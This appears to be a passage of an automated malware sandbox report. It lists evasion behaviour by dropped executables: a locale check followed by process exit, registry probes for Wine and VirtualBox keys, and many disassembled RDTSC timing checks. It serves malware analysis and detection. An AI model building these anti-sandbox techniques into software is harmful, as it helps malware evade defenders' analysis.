Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-58404

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 544F26 second address: 544F35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 push ecx 0x00000008 jc 00007F95FD07A056h 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 544F35 second address: 544F4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD7D89A5h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 544F4F second address: 544F55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 544F55 second address: 544F5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 544009 second address: 54400D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 535045 second address: 535061 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edx 0x00000006 pushad 0x00000007 jmp 00007F95FD7D89A1h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5441FE second address: 544219 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F95FD07A061h 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 546ED2 second address: 546EFD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F95FD7D89A7h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 je 00007F95FD7D8998h 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 546EFD second address: 546F02 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 546F7E second address: 546F84 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5471F2 second address: 547205 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD07A05Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 547205 second address: 54721E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jnl 00007F95FD7D8996h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jng 00007F95FD7D8996h 0x00000019 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 54721E second address: 547228 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F95FD07A056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 547228 second address: 54722D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 54722D second address: 547254 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F95FD07A056h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 push ecx 0x00000013 jmp 00007F95FD07A060h 0x00000018 pop ecx 0x00000019 push ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 547254 second address: 54727E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 ja 00007F95FD7D89A4h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 pushad 0x00000013 push ecx 0x00000014 pushad 0x00000015 popad 0x00000016 pop ecx 0x00000017 pushad 0x00000018 push edx 0x00000019 pop edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 54727E second address: 5472DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pop eax 0x00000007 push 00000000h 0x00000009 push edx 0x0000000a call 00007F95FD07A058h 0x0000000f pop edx 0x00000010 mov dword ptr [esp+04h], edx 0x00000014 add dword ptr [esp+04h], 0000001Bh 0x0000001c inc edx 0x0000001d push edx 0x0000001e ret 0x0000001f pop edx 0x00000020 ret 0x00000021 jng 00007F95FD07A05Ah 0x00000027 mov cx, 7E24h 0x0000002b lea ebx, dword ptr [ebp+1244BDE2h] 0x00000031 push 00000000h 0x00000033 push eax 0x00000034 call 00007F95FD07A058h 0x00000039 pop eax 0x0000003a mov dword ptr [esp+04h], eax 0x0000003e add dword ptr [esp+04h], 00000016h 0x00000046 inc eax 0x00000047 push eax 0x00000048 ret 0x00000049 pop eax 0x0000004a ret 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5472DD second address: 5472E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5472E1 second address: 5472E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5472E5 second address: 5472EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 547492 second address: 547496 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 559525 second address: 55952F instructions: 0x00000000 rdtsc 0x00000002 je 00007F95FD7D8996h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 55952F second address: 559535 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 566B02 second address: 566B06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 566B06 second address: 566B0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 53F105 second address: 53F123 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD7D89A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007F95FD7D899Eh 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 53F123 second address: 53F12A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 565126 second address: 56512A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 565241 second address: 565245 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 565245 second address: 56525D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD7D89A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 56525D second address: 565263 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 565263 second address: 565269 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 565269 second address: 56526D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 565A9E second address: 565AB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007F95FD7D8996h 0x0000000f je 00007F95FD7D8996h 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 565AB3 second address: 565AB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 55E2ED second address: 55E2F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 55E2F1 second address: 55E310 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F95FD07A056h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007F95FD07A05Ch 0x00000012 jbe 00007F95FD07A056h 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 55E310 second address: 55E314 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 55E314 second address: 55E31E instructions: 0x00000000 rdtsc 0x00000002 jc 00007F95FD07A056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 55E31E second address: 55E323 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5319F5 second address: 5319FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5319FB second address: 531A17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F95FD7D89A0h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 531A17 second address: 531A1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 565C40 second address: 565C4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F95FD7D8996h 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 56631F second address: 566323 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5668EC second address: 56690B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 jmp 00007F95FD7D89A8h 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 56A2F2 second address: 56A2F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 56A2F8 second address: 56A334 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F95FD7D899Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F95FD7D89A1h 0x00000010 jg 00007F95FD7D89A2h 0x00000016 je 00007F95FD7D899Ch 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 53A0D3 second address: 53A132 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 ja 00007F95FD07A056h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F95FD07A069h 0x00000011 jmp 00007F95FD07A05Dh 0x00000016 push edi 0x00000017 jmp 00007F95FD07A05Eh 0x0000001c pushad 0x0000001d popad 0x0000001e pop edi 0x0000001f popad 0x00000020 pushad 0x00000021 jmp 00007F95FD07A066h 0x00000026 push ecx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 56DCF6 second address: 56DD00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F95FD7D8996h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 56E315 second address: 56E31A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 56E31A second address: 56E32A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a pushad 0x0000000b popad 0x0000000c pop ecx 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 56E32A second address: 56E355 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a pushad 0x0000000b pushad 0x0000000c jnl 00007F95FD07A056h 0x00000012 jnp 00007F95FD07A056h 0x00000018 popad 0x00000019 pushad 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c ja 00007F95FD07A056h 0x00000022 popad 0x00000023 popad 0x00000024 mov eax, dword ptr [eax] 0x00000026 push eax 0x00000027 push edx 0x00000028 push edi 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 56E355 second address: 56E35A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 56E35A second address: 56E387 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD07A060h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F95FD07A063h 0x00000014 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 573121 second address: 57314F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F95FD7D89A0h 0x0000000b jmp 00007F95FD7D89A0h 0x00000010 jo 00007F95FD7D899Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 57341C second address: 573448 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F95FD07A05Ah 0x00000009 jno 00007F95FD07A06Ah 0x0000000f push ebx 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 573448 second address: 57344E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 57358E second address: 573594 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5739A0 second address: 5739A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5739A9 second address: 5739AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5739AD second address: 5739B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5739B3 second address: 5739BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 574D06 second address: 574D0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 574D0A second address: 574D10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 574D10 second address: 574D59 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F95FD7D8998h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c jmp 00007F95FD7D89A9h 0x00000011 pop eax 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jl 00007F95FD7D89BEh 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F95FD7D89A5h 0x00000023 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 574D59 second address: 574D71 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD07A05Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 574D71 second address: 574D75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 574D75 second address: 574D8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007F95FD07A05Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 574D8A second address: 574D8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
